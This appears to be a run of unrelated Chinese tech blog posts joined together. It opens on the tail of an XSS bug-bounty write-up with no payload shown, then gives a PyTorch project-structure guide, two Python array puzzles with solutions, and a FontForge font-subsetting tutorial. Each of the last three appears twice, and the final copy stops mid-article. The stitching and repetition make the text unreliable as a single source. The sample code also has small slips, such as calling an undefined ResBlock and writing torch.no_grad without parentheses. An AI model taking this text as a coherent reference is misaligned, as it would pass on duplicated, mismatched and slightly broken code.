CSP 的 header 也建議設定一下,至少在真的被 XSS 時還有最後一道防線擋住。雖然說 CSP 有些規則也可以被繞過,但至少比什麼都沒有好。
Matters 有自己的 Bug Bounty Program,只要找到能證明危害的漏洞都有獎金可以拿,這篇找到的 XSS 漏洞被歸類在 High,價值 150 元美金。他們團隊相信開源能惠及技術人員,也能讓網站更安全,因此希望大家知道這個計畫的存在。
最後,感謝 Matters 團隊快速的回覆以及處理,也感謝 Cymetrics 的同事們。
時間軸:
用好的風格寫程式,不僅讓別人的生活更加美麗,也是對未來的自己仁慈 XD
今天要分享一下 pytorch-styleguide 這個 github 上的 repository,並記錄我自己的心得,希望可以吸收消化裡面值得參考的部分。
保持命名的 consistency 真的滿重要的,雖然很基本不過還是會有一些管理不佳的程式碼會存在 naming convention 不同的問題。即便不影響功能,但對於管理跟未來閱讀程式碼都是增加不必要的認知負擔,所以有意識地提醒自己做好這一塊還是滿重要的。
一般來說,當在實作一些比較表現較佳或是較進階的 model,通常都會需要實作自己的一些 neural network、custom loss,甚至會需要實作額外的 C++ extension function(例如寫出更有效率的 GPU code),所以怎麼保持 project 架構的乾淨就很重要。
在檔案分配上,我們會希望盡量模組化、讓各檔案保持單純,所以常見的做法是有幾個基本的檔案:
最後可能會再用一個 train.py 去使用 xxx_networks.py 跟 losses.py 的 class 來寫出 training loop。
接下來舉點例子:
import torch.nn as nn
class ConvBlock(nn.Module):
def __init__(self):
super(ConvBlock, self).__init__()
self.block = nn.Sequential(
nn.Conv2d(...),
nn.ReLU(),
nn.BatchNorm2d(...)
)
def forward(self, x):
return self.block(x)
class ResnetBlock(nn.Module):
def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):
super(ResnetBlock, self).__init__()
self.conv_block = self.build_conv_block(...)
def build_conv_block(self, ...):
conv_block = []
conv_block += [nn.Conv2d(...),
norm_layer(...),
nn.ReLU()]
if use_dropout:
conv_block += [nn.Dropout(...)]
conv_block += [nn.Conv2d(...),
norm_layer(...)]
return nn.Sequential(*conv_block)
def forward(self, x):
out = x + self.conv_block(x)
return out
import torch.nn as nn
from layers import (
ConvBlock,
ResnetBlock
)
class SimpleNetwork(nn.Module):
def __init__(self, num_resnet_blocks=6):
super(SimpleNetwork, self).__init__()
layers = [ConvBlock(...)]
for i in range(num_resnet_blocks):
layers += [ResBlock(...)]
self.net = nn.Sequential(*layers)
def forward(self, x):
return self.net(x)
import torch.nn as nn
class CustomLoss(nn.Module):
def __init__(self):
super(CustomLoss, self).__init__()
def forward(self,x,y):
loss = torch.mean((x - y)**2)
return loss
# import statements
import torch
import torch.nn as nn
from itertools import islice
from losses import CustomLoss
from simple_network import SimpleNetwork
from torch.nn.parallel import DistributedDataParallel as DDP
if __name__ == '__main__':
# Parse arguments
parser = argparse.ArgumentParser()
opt = parser.parse_args()
...
# Setup training data
train_dataset = ...
train_data_loader = data.DataLoader(train_dataset, ...)
test_dataset = ...
test_data_loader = data.DataLoader(test_dataset ...)
...
# Instantiate network
net = SimpleNetwork(...)
# Create losses (criterion in pytorch)
criterion = CustomLoss()
# If running on GPU(可以增進 model 訓練速度)
use_cuda = torch.cuda.is_available()
if use_cuda:
net = net.cuda()
optim = torch.optim.Adam(net.parameters(), lr=opt.lr)
# load checkpoint if needed/ wanted
start_n_iter = 0
start_epoch = 0
if opt.resume:
ckpt = load_checkpoint(opt.path_to_checkpoint) # custom method for loading last checkpoint
net.load_state_dict(ckpt['net'])
start_epoch = ckpt['epoch']
start_n_iter = ckpt['n_iter']
optim.load_state_dict(ckpt['optim'])
print("last checkpoint restored")
...
# Run on multiple node/GPU (PyTorch 的 Distributed Data Parallel 是滿好用的工具,可以做到 multi-node、multi-GPU 的 training,在業界上應該是很常需要使用,畢竟這可以大幅縮短訓練時間,代價是要用到更多機器)
net = DDP(net)
...
# Start the main loop
n_iter = start_n_iter
for epoch in range(start_epoch, opt.epochs):
# Set models to train mode
net.train()
for data in islice(train_data_loader, files_in_an_epoch):
img, label = data
if use_cuda:
img = img.cuda()
label = label.cuda()
...
# Forward pass
output = net(img)
# Calculate loss
loss = criterion(output, label)
# Backward pass
optim.zero_grad()
loss.backward()
optim.step()
# Do a test pass every x epochs and save checkpoint
if epoch % x == x-1:
net.eval()
# 用 torch.no_grad 可以省下不少 memory usage
with torch.no_grad:
# Do tests using data from test_dataloader
# Save checkpoint
...
今天簡單分享了一些撰寫 PyTorch 程式碼的 tips,這份 guide 裡面還有很多小 tips 我沒有一一寫進來,但其實也沒必要寫,因為各 project 不同的細節還有太多。當你自己投入去做一個頗具規模的 PyTorch project 時,你會發現 PyTorch Forum 跟 PyTorch github repo 裡面的不少討論串是你的好夥伴。
另外網路上有不少的 open source project 也都有類似的架構,有興趣的讀者不妨去看一些自己感興趣的 PyTorch project 學習高手們的寫法。
用好的風格寫程式,不僅讓別人的生活更加美麗,也是對未來的自己仁慈 XD
今天要分享一下 pytorch-styleguide 這個 github 上的 repository,並記錄我自己的心得,希望可以吸收消化裡面值得參考的部分。
保持命名的 consistency 真的滿重要的,雖然很基本不過還是會有一些管理不佳的程式碼會存在 naming convention 不同的問題。即便不影響功能,但對於管理跟未來閱讀程式碼都是增加不必要的認知負擔,所以有意識地提醒自己做好這一塊還是滿重要的。
一般來說,當在實作一些比較表現較佳或是較進階的 model,通常都會需要實作自己的一些 neural network、custom loss,甚至會需要實作額外的 C++ extension function(例如寫出更有效率的 GPU code),所以怎麼保持 project 架構的乾淨就很重要。
在檔案分配上,我們會希望盡量模組化、讓各檔案保持單純,所以常見的做法是有幾個基本的檔案:
最後可能會再用一個 train.py 去使用 xxx_networks.py 跟 losses.py 的 class 來寫出 training loop。
接下來舉點例子:
import torch.nn as nn
class ConvBlock(nn.Module):
def __init__(self):
super(ConvBlock, self).__init__()
self.block = nn.Sequential(
nn.Conv2d(...),
nn.ReLU(),
nn.BatchNorm2d(...)
)
def forward(self, x):
return self.block(x)
class ResnetBlock(nn.Module):
def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):
super(ResnetBlock, self).__init__()
self.conv_block = self.build_conv_block(...)
def build_conv_block(self, ...):
conv_block = []
conv_block += [nn.Conv2d(...),
norm_layer(...),
nn.ReLU()]
if use_dropout:
conv_block += [nn.Dropout(...)]
conv_block += [nn.Conv2d(...),
norm_layer(...)]
return nn.Sequential(*conv_block)
def forward(self, x):
out = x + self.conv_block(x)
return out
import torch.nn as nn
from layers import (
ConvBlock,
ResnetBlock
)
class SimpleNetwork(nn.Module):
def __init__(self, num_resnet_blocks=6):
super(SimpleNetwork, self).__init__()
layers = [ConvBlock(...)]
for i in range(num_resnet_blocks):
layers += [ResBlock(...)]
self.net = nn.Sequential(*layers)
def forward(self, x):
return self.net(x)
import torch.nn as nn
class CustomLoss(nn.Module):
def __init__(self):
super(CustomLoss, self).__init__()
def forward(self,x,y):
loss = torch.mean((x - y)**2)
return loss
# import statements
import torch
import torch.nn as nn
from itertools import islice
from losses import CustomLoss
from simple_network import SimpleNetwork
from torch.nn.parallel import DistributedDataParallel as DDP
if __name__ == '__main__':
# Parse arguments
parser = argparse.ArgumentParser()
opt = parser.parse_args()
...
# Setup training data
train_dataset = ...
train_data_loader = data.DataLoader(train_dataset, ...)
test_dataset = ...
test_data_loader = data.DataLoader(test_dataset ...)
...
# Instantiate network
net = SimpleNetwork(...)
# Create losses (criterion in pytorch)
criterion = CustomLoss()
# If running on GPU(可以增進 model 訓練速度)
use_cuda = torch.cuda.is_available()
if use_cuda:
net = net.cuda()
optim = torch.optim.Adam(net.parameters(), lr=opt.lr)
# load checkpoint if needed/ wanted
start_n_iter = 0
start_epoch = 0
if opt.resume:
ckpt = load_checkpoint(opt.path_to_checkpoint) # custom method for loading last checkpoint
net.load_state_dict(ckpt['net'])
start_epoch = ckpt['epoch']
start_n_iter = ckpt['n_iter']
optim.load_state_dict(ckpt['optim'])
print("last checkpoint restored")
...
# Run on multiple node/GPU (PyTorch 的 Distributed Data Parallel 是滿好用的工具,可以做到 multi-node、multi-GPU 的 training,在業界上應該是很常需要使用,畢竟這可以大幅縮短訓練時間,代價是要用到更多機器)
net = DDP(net)
...
# Start the main loop
n_iter = start_n_iter
for epoch in range(start_epoch, opt.epochs):
# Set models to train mode
net.train()
for data in islice(train_data_loader, files_in_an_epoch):
img, label = data
if use_cuda:
img = img.cuda()
label = label.cuda()
...
# Forward pass
output = net(img)
# Calculate loss
loss = criterion(output, label)
# Backward pass
optim.zero_grad()
loss.backward()
optim.step()
# Do a test pass every x epochs and save checkpoint
if epoch % x == x-1:
net.eval()
# 用 torch.no_grad 可以省下不少 memory usage
with torch.no_grad:
# Do tests using data from test_dataloader
# Save checkpoint
...
今天簡單分享了一些撰寫 PyTorch 程式碼的 tips,這份 guide 裡面還有很多小 tips 我沒有一一寫進來,但其實也沒必要寫,因為各 project 不同的細節還有太多。當你自己投入去做一個頗具規模的 PyTorch project 時,你會發現 PyTorch Forum 跟 PyTorch github repo 裡面的不少討論串是你的好夥伴。
另外網路上有不少的 open source project 也都有類似的架構,有興趣的讀者不妨去看一些自己感興趣的 PyTorch project 學習高手們的寫法。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Remove Duplicates from Sorted Array
Given a sorted array nums, remove the duplicates in-place
such that each element appears only once and returns the new length.
Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1)
extra memory.
Clarification:
Confused why the returned value is an integer but your answer is an array?
Note that the input array is passed in by reference, which means a modification to the input array will be known to the caller as well.
Internally you can think of this:
// nums is passed in by reference. (i.e., without making a copy)
int len = removeDuplicates(nums);
// any modification to nums in your function would be known by the caller.
// using the length returned by your function, it prints the first len elements.
for (int i = 0; i < len; i++) {
print(nums[i]);
}
Example 1:
Input: nums = [1,1,2]
Output: 2, nums = [1,2]
Explanation: Your function should return length = 2, with the first two elements of nums being 1 and 2 respectively. It doesn't matter what you leave beyond the returned length.
Example 2:
Input: nums = [0,0,1,1,1,2,2,3,3,4]
Output: 5, nums = [0,1,2,3,4]
Explanation: Your function should return length = 5, with the first five elements of nums being modified to 0, 1, 2, 3, and 4 respectively. It doesn't matter what values are set beyond the returned length.
Constraints:
0 <= nums.length <= 3 * 10^4
-10^4 <= nums[i] <= 10^4
nums is sorted in ascending order.
這個問題主要希望從一個給定排序的陣列中刪除重複的元素,取得新的陣列長度,並希望在不使用額外的記憶體空間下完成任務。一開始我們可以使用暴力解法就是逐一比較並提供一個暫存空間儲存比對的結果。但這樣可能會使用過多資源不符合題目的要求,所以我們可以嘗試使用雙指針的方式,透過兩個變數分別儲存依序比對的位置索引和需要刪除替換元素的位置索引,在 O(1)
記憶體空間的使用下得到結果。
Solution
參考方法:
class Solution:
def removeDuplicates(self, nums: List[int]) -> int:
# 當串列長度為零,直接回傳零
if not nums:
return 0
# 計算串列長度
nums_len = len(nums)
# 變數 j 為較快的右指標
j = 1
# 變數 i 為較慢的左的指標
i = 1
while j < nums_len:
# 當發現索引 j 和前一項元素不同時,更新索引 i 的內容為索引 j 內容
if nums[j] != nums[j - 1]:
nums[i] = nums[j]
# i 索引位置往右移
i += 1
# 每一次迴圈 j 索引位置往右移
j += 1
# 回傳索引 i,也就是新的串列長度
return i
時間複雜度:O(n),根據 nums 長度決定迴圈次數
空間複雜度:O(1),只有常數空間儲存指標
Problem: Best Time to Buy and Sell Stock
You are given an array prices where prices[i] is the price of a given stock on the ith day.
You want to maximize your profit by choosing a single day to buy one stock and choosing a different day in the future to sell that stock.
Return the maximum profit you can achieve from this transaction. If you cannot achieve any profit, return 0.
Example 1:
Input: prices = [7,1,5,3,6,4]
Output: 5
Explanation: Buy on day 2 (price = 1) and sell on day 5 (price = 6), profit = 6-1 = 5.
Note that buying on day 2 and selling on day 1 is not allowed because you must buy before you sell.
Example 2:
Input: prices = [7,6,4,3,1]
Output: 0
Explanation: In this case, no transactions are done and the max profit = 0.
Constraints:
1 <= prices.length <= 10^5
0 <= prices[i] <= 10^4
本題目主要是計算如何選擇某一天買進股票在未來某一個不同天賣出股票,可以獲得最大利潤,注意賣出價格需大於買入價格(若無法完成交易則為零)。
Solution
參考方法:
class Solution:
def maxProfit(self, prices: List[int]) -> int:
# 初始化 min_price 為一個極大值 e^9
inf = int(1e9)
min_price = inf
# 初始化 maxprofit 為 0
max_profit = 0
# 每次迴圈計算並更新最大利潤及最低買點
for price in prices:
max_profit = max(price - min_price, max_profit)
min_price = min(price, min_price)
return max_profit
透過迴圈取出 prices 串列,每次更新取得最低買點和最高利潤,最後回傳最大利潤值。
時間複雜度:O(n),根據 prices 長度決定迴圈次數
空間複雜度:O(1),只有常數空間儲存變數
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Remove Duplicates from Sorted Array
Given a sorted array nums, remove the duplicates in-place
such that each element appears only once and returns the new length.
Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1)
extra memory.
Clarification:
Confused why the returned value is an integer but your answer is an array?
Note that the input array is passed in by reference, which means a modification to the input array will be known to the caller as well.
Internally you can think of this:
// nums is passed in by reference. (i.e., without making a copy)
int len = removeDuplicates(nums);
// any modification to nums in your function would be known by the caller.
// using the length returned by your function, it prints the first len elements.
for (int i = 0; i < len; i++) {
print(nums[i]);
}
Example 1:
Input: nums = [1,1,2]
Output: 2, nums = [1,2]
Explanation: Your function should return length = 2, with the first two elements of nums being 1 and 2 respectively. It doesn't matter what you leave beyond the returned length.
Example 2:
Input: nums = [0,0,1,1,1,2,2,3,3,4]
Output: 5, nums = [0,1,2,3,4]
Explanation: Your function should return length = 5, with the first five elements of nums being modified to 0, 1, 2, 3, and 4 respectively. It doesn't matter what values are set beyond the returned length.
Constraints:
0 <= nums.length <= 3 * 10^4
-10^4 <= nums[i] <= 10^4
nums is sorted in ascending order.
這個問題主要希望從一個給定排序的陣列中刪除重複的元素,取得新的陣列長度,並希望在不使用額外的記憶體空間下完成任務。一開始我們可以使用暴力解法就是逐一比較並提供一個暫存空間儲存比對的結果。但這樣可能會使用過多資源不符合題目的要求,所以我們可以嘗試使用雙指針的方式,透過兩個變數分別儲存依序比對的位置索引和需要刪除替換元素的位置索引,在 O(1)
記憶體空間的使用下得到結果。
Solution
參考方法:
class Solution:
def removeDuplicates(self, nums: List[int]) -> int:
# 當串列長度為零,直接回傳零
if not nums:
return 0
# 計算串列長度
nums_len = len(nums)
# 變數 j 為較快的右指標
j = 1
# 變數 i 為較慢的左的指標
i = 1
while j < nums_len:
# 當發現索引 j 和前一項元素不同時,更新索引 i 的內容為索引 j 內容
if nums[j] != nums[j - 1]:
nums[i] = nums[j]
# i 索引位置往右移
i += 1
# 每一次迴圈 j 索引位置往右移
j += 1
# 回傳索引 i,也就是新的串列長度
return i
時間複雜度:O(n),根據 nums 長度決定迴圈次數
空間複雜度:O(1),只有常數空間儲存指標
Problem: Best Time to Buy and Sell Stock
You are given an array prices where prices[i] is the price of a given stock on the ith day.
You want to maximize your profit by choosing a single day to buy one stock and choosing a different day in the future to sell that stock.
Return the maximum profit you can achieve from this transaction. If you cannot achieve any profit, return 0.
Example 1:
Input: prices = [7,1,5,3,6,4]
Output: 5
Explanation: Buy on day 2 (price = 1) and sell on day 5 (price = 6), profit = 6-1 = 5.
Note that buying on day 2 and selling on day 1 is not allowed because you must buy before you sell.
Example 2:
Input: prices = [7,6,4,3,1]
Output: 0
Explanation: In this case, no transactions are done and the max profit = 0.
Constraints:
1 <= prices.length <= 10^5
0 <= prices[i] <= 10^4
本題目主要是計算如何選擇某一天買進股票在未來某一個不同天賣出股票,可以獲得最大利潤,注意賣出價格需大於買入價格(若無法完成交易則為零)。
Solution
參考方法:
class Solution:
def maxProfit(self, prices: List[int]) -> int:
# 初始化 min_price 為一個極大值 e^9
inf = int(1e9)
min_price = inf
# 初始化 maxprofit 為 0
max_profit = 0
# 每次迴圈計算並更新最大利潤及最低買點
for price in prices:
max_profit = max(price - min_price, max_profit)
min_price = min(price, min_price)
return max_profit
透過迴圈取出 prices 串列,每次更新取得最低買點和最高利潤,最後回傳最大利潤值。
時間複雜度:O(n),根據 prices 長度決定迴圈次數
空間複雜度:O(1),只有常數空間儲存變數
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
最近公司有個行銷活動需要做一個簡單的 SPA,基本上只有簡單的三個頁面,完全可以利用 Gatsby 或 Nextjs 來製作靜態頁面,然後部署到 CDN 上頭,效能上來說理應足夠好了,但是我們的設計師在頁面上混用了多種的字體,尤其是日文部分,除了一般瀏覽器內建的字體外,某些元件採用額外的免費字體,例如 Corporate Logo Font,這代表我們需要額外去下載這些字型,但為了頁面上的幾個字,去下載一整個字型檔案(ttf, 2.6MB)實在很浪費,因此只好來研究一下如何客製化字型檔案,只載入我們需要的字。
雖然這感覺是個很容易遇到的需求,但我還真的是第一次實際需要處理,感謝同事 Carlos 提供解法,透過這篇文章筆記一下,希望對他人也有點幫助。
TTF(TrueType Font)是由蘋果和微軟共同開發的一種電腦輪廓字型類型標準,是 Mac 與 Windows 上最常見的格式,基本上所有主流瀏覽器都支援,也是免費或便宜的第三方字體最常提供的格式。缺點是檔案未經過壓縮,文件大小較大。
另一個主流格式為 OTF(OpenType Font),是一種可縮放字型(scalable font)電腦字型類型,由 TrueType 延伸而來,採用 PostScript 格式,是微軟與 Adobe 聯合開發,用來替代 TrueType 字型的新字型。
WOFF(Web Open Font Format) 則是完全為了 Web 而設計的格式,由 Mozilla、Microsoft 與 Opera 合作推出。WOFF 的字型都經由 WOFF 的編碼工具壓縮,體積能比 tff 小 40%,現在已經是網頁字體的推薦標準。WOFF2 則是 WOFF 的升級版,體積可以壓得更小。
最後,當然大家熟悉的 SVG 也可以算是一種。
在主流的作業系統與瀏覽器上,這幾種格式的支援度都很高,而其主要的細節差異,因為非本篇重點,就不多著墨,有興趣的讀者可以到 wiki 上查看。
今天要減少的字型檔案為最常見的 tff 格式。
順帶一提,當我在撰寫文章的時候,對於字型、字體等名詞的差異很模糊,好在 JustFont 在多年前的一篇文章解釋得蠻清楚的,推薦大家理解一下!
要針對字型進行處理的話,首先我們需要下載 FontForge,FontForge 是一個很有名的軟體,可以用來設計、創建字體,或是進行各種字型相關的操作,可以從 https://fontforge.org/en-US/downloads/mac-dl/ 下載 Mac 版本(也有 Linux 與 Windows 的版本)。
在官網上你可以找到許多文件,甚至是一整個 ebook 來教你如何用 FontForge 來設計字體。
載好 FontForge 後,我們先打開原始的字型檔,這邊以前面提到的 Corporate Logo Font 為例(註: 在 MacOS Catalina 或 Big Sur,直接點選載好在 Apps 內的 FontForge app 可能會被 OS 擋下來,快一點的方式是按右鍵 -> "Show Package Contents" -> "Contents" -> "MacOS"
,然後點選 FontForg.app,接者就會打開 terminal 並執行 FontForge。):
開啟後可以看到所有的字圖,接著其實你就可以選取你不要的字圖,然後 clear
掉它們:
但照這樣處理,弄到天荒地老六親不認都弄不完。工程師要用更聰明的解法。
打從一開始,我們就是因為原始字檔裡面太多我們不要的東西,我們需要的很少,才想要從原始檔案中擷取需要的部分,既然如此,就應該從我們想要的字圖下手,而不是慢慢刪掉我們不要的字圖。
FontForge 其實有提供一個很方便的功能,叫做 Invert Selection
,能夠選取所有你沒有選取到的東西,直接看個動圖範例:
這樣一來,就很簡單了,只要選取住你想要的字圖,然後點選 Edit -> Select -> Invert Selection
,就完成了,接著就把 Fontforge 自動幫你選取的字圖 clear
掉即可。
但這樣還是有個問題。
字型檔內容這麼多,我要手動在 FontForge 中找到自己想要的字圖不也是找到山窮水盡嗎?
FontForge 是個蠻強大的工具,除了 GUI 以外,也提供 interpreters,讓你能撰寫 scripts 來修改字型檔。
一個 interpreter 是 Python,另一個則是其內建的 scripting language。詳細的範例、語法等可以從官網查看,文件很完整。
有了 scripting 的功能,我們就不用自己手動選取字圖啦。
在 FontForge UI 上,你可以點選 File -> Execute Script
叫出 Dialog,可以選擇直接貼上 Python 程式碼,也可以選擇 FF -> Call
,來載入使用另一個內建 interpreter 的 script file。
因為我們要處理的動作很簡單,只有三個動作(選取字型、反轉選取、刪除),所以直接用內建的 script language 其實比較簡單,可以利用 NodeJS 來產生執行檔。
三個動作,選取字圖、反轉選取、刪除,分別對應的 API 為 SelectMore()
、SelectInvert()
、DetachAndRemoveGlyphs()
。
我們要匯入進 FontForge 的執行檔,就只需要這三個 API 即可。
SelectMore()
用法是傳入字型的 unicode 作為參數,即可選取該字圖,不過執行一次只能選取一個字圖。SelectInvert()
與 DetachAndRemoveGlyphs()
則不需要參數。
知道了需要的 API,我們就可以來寫程式產生執行檔 subset-font.pe
,.pe
是 FontForge 可以接受的格式,.ff
也行:
// 挑選出你頁面上需要用到的字
const characters = '123招待コード';
const stream = fs.createWriteStream('./subset-font.pe');
stream.once('open', function (fd) {
characters.split('').forEach(char => {
// 轉換成 16 進位
let hex = char.charCodeAt(0).toString(16);
// 補零,以符合 \u 格式
if (hex.length < 4) {
hex = hex.padStart(4, '0');
}
// 然後執行檔內寫入 SelectMore
stream.write(`SelectMore("u${hex}")\n`);
});
// 反轉選擇,選取所有其他不要的字
stream.write('SelectInvert()\n');
// 最後移除字型
stream.write('DetachAndRemoveGlyphs()\n');
stream.end();
});
利用 FontForge API 搭配上面程式後,會產生以下內容:
sh subset-font.pe
SelectMore("u0031")
SelectMore("u0032")
SelectMore("u0033")
SelectMore("u62db")
SelectMore("u5f85")
SelectMore("u30b3")
SelectMore("u30fc")
SelectMore("u30c9")
SelectInvert()
DetachAndRemoveGlyphs()
接著依照正確姿勢二的方式,匯入此執行檔,FontForge 就會產生只包含我們想要的字圖的字型檔了!:
不過因為刪掉的字圖很多,我們可以進一步透過 FontForge 的壓縮功能來輔助我們檢視成品:
剛執行完 script 後,畫面會停留在 select 所有其他你不要的字圖的狀態,你可以先隨便點選空白處 deselect 所有字圖,然後選擇 Encoding -> Compact
:
就能清楚看到整個檔案的確只剩下我們所選的字圖(以上面範例 script 來說就是 123招待コード
)。
最後步驟就是產生字型檔案,點選 File -> Generate Fonts...
,然後看你要 export 成什麼格式,如果是網頁上要用,當然就推薦使用 woff
:
按下 Generate
後可能會出現 Error,可以不用理他,繼續 generate:
這樣就大功告成了!
(註:關掉 FontForge 時,記得選 Don't Save
,不然會蓋掉原始的檔案喔!)
這個方式可以用在各種字體檔案,非常方便,對於靜態頁面上內容文字不太會變動的狀況下,利用這個技巧可以大幅降低需要載入的檔案大小,以我公司專案的例子來說,從原本 2.6MB 的 tff 檔案,最後可以變成 8KB 的 woff 檔案,省下的大小很可觀的。
簡單的筆記,希望對大家有幫助!
最近公司有個行銷活動需要做一個簡單的 SPA,基本上只有簡單的三個頁面,完全可以利用 Gatsby 或 Nextjs 來製作靜態頁面,然後部署到 CDN 上頭,效能上來說理應足夠好了,但是我們的設計師在頁面上混用了多種的字體,尤其是日文部分,除了一般瀏覽器內建的字體外,某些元件採用額外的免費字體,例如 Corporate Logo Font,這代表我們需要額外去下載這些字型,但為了頁面上的幾個字,去下載一整個字型檔案(ttf, 2.6MB)實在很浪費,因此只好來研究一下如何客製化字型檔案,只載入我們需要的字。
雖然這感覺是個很容易遇到的需求,但我還真的是第一次實際需要處理,感謝同事 Carlos 提供解法,透過這篇文章筆記一下,希望對他人也有點幫助。
TTF(TrueType Font)是由蘋果和微軟共同開發的一種電腦輪廓字型類型標準,是 Mac 與 Windows 上最常見的格式,基本上所有主流瀏覽器都支援,也是免費或便宜的第三方字體最常提供的格式。缺點是檔案未經過壓縮,文件大小較大。
另一個主流格式為 OTF(OpenType Font),是一種可縮放字型(scalable font)電腦字型類型,由 TrueType 延伸而來,採用 PostScript 格式,是微軟與 Adobe 聯合開發,用來替代 TrueType 字型的新字型。
WOFF(Web Open Font Format) 則是完全為了 Web 而設計的格式,由 Mozilla、Microsoft 與 Opera 合作推出。WOFF 的字型都經由 WOFF 的編碼工具壓縮,體積能比 tff 小 40%,現在已經是網頁字體的推薦標準。WOFF2 則是 WOFF 的升級版,體積可以壓得更小。
最後,當然大家熟悉的 SVG 也可以算是一種。
在主流的作業系統與瀏覽器上,這幾種格式的支援度都很高,而其主要的細節差異,因為非本篇重點,就不多著墨,有興趣的讀者可以到 wiki 上查看。
今天要減少的字型檔案為最常見的 tff 格式。
順帶一提,當我在撰寫文章的時候,對於字型、字體等名詞的差異很模糊,好在 JustFont 在多年前的一篇文章解釋得蠻清楚的,推薦大家理解一下!
要針對字型進行處理的話,首先我們需要下載 FontForge,FontForge 是一個很有名的軟體,可以用來設計、創建字體,或是進行各種字型相關的操作,可以從 https://fontforge.org/en-US/downloads/mac-dl/ 下載 Mac 版本(也有 Linux 與 Windows 的版本)。
在官網上你可以找到許多文件,甚至是一整個 ebook 來教你如何用 FontForge 來設計字體。
載好 FontForge 後,我們先打開原始的字型檔,這邊以前面提到的 Corporate Logo Font 為例(註: 在 MacOS Catalina 或 Big Sur,直接點選載好在 Apps 內的 FontForge app 可能會被 OS 擋下來,快一點的方式是按右鍵 -> "Show Package Contents" -> "Contents" -> "MacOS"
,然後點選 FontForg.app,接者就會打開 terminal 並執行 FontForge。):
開啟後可以看到所有的字圖,接著其實你就可以選取你不要的字圖,然後 clear
掉它們:
但照這樣處理,弄到天荒地老六親不認都弄不完。工程師要用更聰明的解法。
打從一開始,我們就是因為原始字檔裡面太多我們不要的東西,我們需要的很少,才想要從原始檔案中擷取需要的部分,既然如此,就應該從我們想要的字圖下手,而不是慢慢刪掉我們不要的字圖。
FontForge 其實有提供一個很方便的功能,叫做 Invert Selection
,能夠選取所有你沒有選取到的東西,直接看個動圖範例:
這樣一來,就很簡單了,只要選取住你想要的字圖,然後點選 Edit -> Select -> Invert Selection
,就完成了,接著就把 Fontforge 自動幫你選取的字圖 clear
掉即可。
但這樣還是有個問題。
字型檔內容這麼多,我要手動在 FontForge 中找到自己想要的字圖不也是找到山窮水盡嗎?
FontForge 是個蠻強大的工具,除了 GUI 以外,也提供 interpreters,讓你能撰寫 scripts 來修改字型檔。
一個 interpreter 是 Python,另一個則是其內建的 scripting language。詳細的範例、語法等可以從官網查看,文件很完整。
有了 scripting 的功能,我們就不用自己手動選取字圖啦。
在 FontForge UI 上,你可以點選 File -> Execute Script
叫出 Dialog,可以選擇直接貼上 Python 程式碼,也可以選擇 FF -> Call
,來載入使用另一個內建 interpreter 的 script file。
因為我們要處理的動作很簡單,只有三個動作(選取字型、反轉選取、刪除),所以直接用內建的 script language 其實比較簡單,可以利用 NodeJS 來產生執行檔。
三個動作,選取字圖、反轉選取、刪除,分別對應的 API 為 SelectMore()
、SelectInvert()
、DetachAndRemoveGlyphs()
。
我們要匯入進 FontForge 的執行檔,就只需要這三個 API 即可。
SelectMore()
用法是傳入字型的 unicode 作為參數,即可選取該字圖,不過執行一次只能選取一個字圖。SelectInvert()
與 DetachAndRemoveGlyphs()
則不需要參數。
知道了需要的 API,我們就可以來寫程式產生執行檔 subset-font.pe
,.pe
是 FontForge 可以接受的格式,.ff
也行:
// 挑選出你頁面上需要用到的字
const characters = '123招待コード';
const stream = fs.createWriteStream('./subset-font.pe');
stream.once('open', function (fd) {
characters.split('').forEach(char => {
// 轉換成 16 進位
let hex = char.charCodeAt(0).toString(16);
// 補零,以符合 \u 格式
if (hex.length < 4) {
hex = hex.padStart(4, '0');
}
// 然後執行檔內寫入 SelectMore
stream.write(`SelectMore("u${hex}")\n`);
});
// 反轉選擇,選取所有其他不要的字
stream.write('SelectInvert()\n');
// 最後移除字型
stream.write('DetachAndRemoveGlyphs()\n');
stream.end();
});
利用 FontForge API 搭配上面程式後,會產生以下內容:
sh subset-font.pe
SelectMore("u0031")
SelectMore("u0032")
SelectMore("u0033")
SelectMore("u62db")
SelectMore("u5f85")
SelectMore("u30b3")
SelectMore("u30fc")
SelectMore("u30c9")
SelectInvert()
DetachAndRemoveGlyphs()
